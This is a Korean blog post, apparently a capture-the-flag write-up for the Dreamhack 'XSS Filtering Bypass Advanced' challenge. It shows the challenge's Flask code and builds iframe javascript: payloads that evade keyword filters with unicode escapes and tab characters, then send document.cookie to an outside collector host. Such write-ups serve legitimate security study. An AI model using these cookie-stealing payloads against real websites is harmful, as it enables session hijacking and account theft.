외로운 Nova의 작업실
dreamhack 웹해킹 - 16(XSS Filtering Bypass Advanced 풀이) 본문
dreamhack 웹해킹 - 16(XSS Filtering Bypass Advanced 풀이)
Nova_ 2023. 2. 16. 16:43<iframe%20src="javasc%09ript:wi\u006edow.locatio\u006e.href='https://igpoxqg.request.dreamhack.games'"/>
- 문제인식

xss 필터링을 우회하는 문제입니다. 그럼 서버코드를 보겠습니다.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
위코드에서 중요한점은 /flag 페이지에서 payload를 주면 urllib.parse.quote()함수로 url 인코딩을 진행한다는 점입니다. 이후 인코딩된 문자열을 이용해서 접속합니다.
- exploit 설계
먼저, 필터링 부분을 보겠습니다.
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
script, on, javascript, window, self, this, document, location, (, ), &#등을 필터링하고있습니다.
1. on이벤트를 통한 자바스크립트 처리를 하고싶지만 html인코딩인 $#을 필터링하고있어서 하기 어렵습니다.
2. <script>구문으로 자바스크립트 처리를 하고싶지만 script를 필터링하고있어서 하기어렵습니다.
3. javascript: 스키마와 url 정규화를 통해서 javascript를 실행시켜야할것같습니다.
또한 서버에서 webdriver를 사용하기때문에 ifram태그를 사용해야합니다. 먼저 /vuln페이지에 접속해서 param값을 주면서 xss 필터링 우회가 성공하는지 체크해보면서 페이로드를 작성하고, 이후 그 페이로드를 urllib.parse.quote()함수에 맞게 특수문자를 없애주는 방식으로 해보도록 하겠습니다.
- exploit 준비
간단하게 iframe을 사용해서 www.exmple.com으로로 쿠키값을 보내는 html 코드를 작성해보겠습니다.
<iframe src="javascript:window.location.href='www.example.com?flag='+document.cookie"/>
이제 위코드를 기반으로 필터링을 우회해보겠습니다.
<window, on, location 우회>
자바스크립트의 유용한 기능중에는 unicode를 전처리한다는 것입니다. 즉, location이 아닌 locatio\u006E로 작성해도 자바스크립트 해석기가 location으로 해석한다는 의미입니다. 이를 통해서 아래 사이트로 들어가 유니코드값을 알아보면서 필터링 우회 코드를 작성하게되면,
<iframe src="javascript:wi\u006Edow.locatio\u006E.href='www.example.com?flag='+docume\u006Et.cookie"/>
위와 같이됩니다. 여기서 중요한점은 javascript:는 자바스크립트코드가 아니기에 unicode 전처리가 통하지않고 문자열의 경우에도 통하지않는다는 점입니다. 즉 위 코드를 실행하면 iframe객체는 아래와 같은 url로 접속할것입니다.
javascript:wi\u006Edow.locatio\u006E.href='www.example.com?flag='+docume\u006Et.cookie
이떄, javascript:는 자바스크립트 스킴이기때문에 유니코드에 영향을 받지않고 아래부분만 영향을 받는데, 문자열은 영향받지않습니다.
wi\u006Edow.locatio\u006E.href='www.example.com?flag='+docume\u006Et.cookie
<javascript 우회>
URL 접속에 유용한 기능중 하나로 정규화가 있습니다. 우리가 쓰는 URL은 정규화를 거쳐 dns에게 질의를 하게됩니다. 예를 들어 url의 첫번쨰와 마지막 공백을 없애거나 모두 소문자로 변경하는 등이 있습니다. 더 자세한 부분은 chatGPT에게 물어봤습니다.

예를들어서 tab키가 정규화 되는지 알아보겠습니다. tab키를 raw하게 뽑기위해 파이썬을이용합니다.

이후 간단한 html을 만들어줍니다.
<html>
<head>
</head>
<body>
<a href="javasc ript:alert(1)">clickme</a>
</body>
위 코드를 실행시켜 a태그를 눌러주게되면,

정규화 과정을 거쳐 tab이 없어지므로 javascript:alert(1)과 같은 결과가 나옵니다. 하지만 a태그나 iframe등 src 속성 및 하이퍼링크부분에서는 가능하지만 직접 브라우저에 url로 작성하면 되지않습니다. 보안상 필터링이 있기때문입니다.


실제 브라우저에서 하게되면 자바스크립트가 실행되지않고 tab이 이스케이프처리되어 검색결과가 나오는 것을 확인할 수 있습니다. 한가지 더 알아야되는점이 있는데, 바로 url의 파라미터부분은 정규화되지 않는다는 것입니다. 또한 quote함수와 get함수는 url입장에서 봤을때 역관계에 있습니다. quote함수는 url인코딩을해주고 get함수는 파라미터를 url디코딩을 해서 입력값을 받아들입니다. 아래와 같은 파라미터부분이 있을때
www.example.com?flag=<a%20href="javas%09cript:alert(1)">clickme</a>
get방식은 %09를 raw한 tab키로 변경해줍니다. 아래처럼 말입니다.
www.example.com?flag=<a href="javas cript:alert(1)">clickme</a>
따라서 /vuln페이지에서 %09를 javascript 사이에 껴서 param을 주게되면 필터링은 피하고 return 값으로 raw한 tab키가 포함된 url을 얻을 수있습니다.
<iframe%20src="javasc%09ript:wi\u006edow.locatio\u006e.href='https://igpoxqg.request.dreamhack.games'"/>

url에 쓴 %09는 request.get()에의해 tab으로 변경됩니다.
- exploit
a태그 및 iframe의 하이퍼링크의 링크는 정규화과정이 진행됨을 이해하고 javascript 필터링을 우회하고, 자바스크립트 부분에 유니코드 인코딩을 이용해 on, location,document를 우회하는 것에대해서 이해하셨다면 아래와 같은 코드를 짤 수 있습니다.
<iframe%20src="javasc%09ript:wi\u006edow.locatio\u006e.href='https://vuxtufd.request.dreamhack.games?flag='%2Bdocume\u006et.cookie"/>
성공률을 높이기위해 url 인코딩을 해줍니다.
<iframe%20src="javasc%09ript%3awi\u006edow%2elocatio\u006e%2ehref%3d'https%3a%2f%2fvuxtufd%2erequest%2edreamhack%2egames%3fflag%3d'%2Bdocume\u006et%2ecookie"/>
실제 해보면 /vuln페이지에서 해보면

hackingtool서버로 접속해서 ip를 받아오는 것을 알 수 있습니다. 이제 param값을 작성해봅시다. param은 우리가 post 입력값을주면 quote처리하기때문에 quote처리후에 위와 같은 코드가 나오게끔 하면됩니다. quote함수는 url인코딩 및 유니코드 디코딩도합니다.


실제 %09는 아래의 흐름으로 진해됩니다.
나 | /vuln?param | quote | get() | java script |
tab | tab | %09 | tab | tab |
quote함수를 고려해서 아래처럼 쓸 수 있습니다.
<iframe src="javasc ript:wi\u006edow.locatio\u006e.href='https://vuxtufd.request.dreamhack.games?flag='%2Bdocume\u006et.cookie"/>
실제 제출해보겠습니다.


플래그값이 온것을 확인할 수 있습니다.
- 정리
이번 문제 방어기술의 우회는 아래와 같은 기능으로 우회합니다.
1. 자바스크립트의 유니코드 디코딩 기능
2. URL 정규화 기능(a, iframe처럼 하이퍼링크 한정)
3. quote함수와 %09의 흐름
'Web Penetesting > Web Vulnerability' 카테고리의 다른 글
dreamhack 웹해킹 - 18(CSP Bypass Advanced 풀이) (0) | 2023.02.26 |
---|---|
[dreamhack] session 문제 풀이 (0) | 2023.02.19 |
dreamhack 웹해킹 - 15(Apache htaccess 풀이) (0) | 2023.02.08 |
[dreamhack] node-serialize 풀이 (0) | 2023.01.28 |
dreamhack 웹해킹 - 13(sql injection bypass WAF Advanced 풀이) (0) | 2023.01.21 |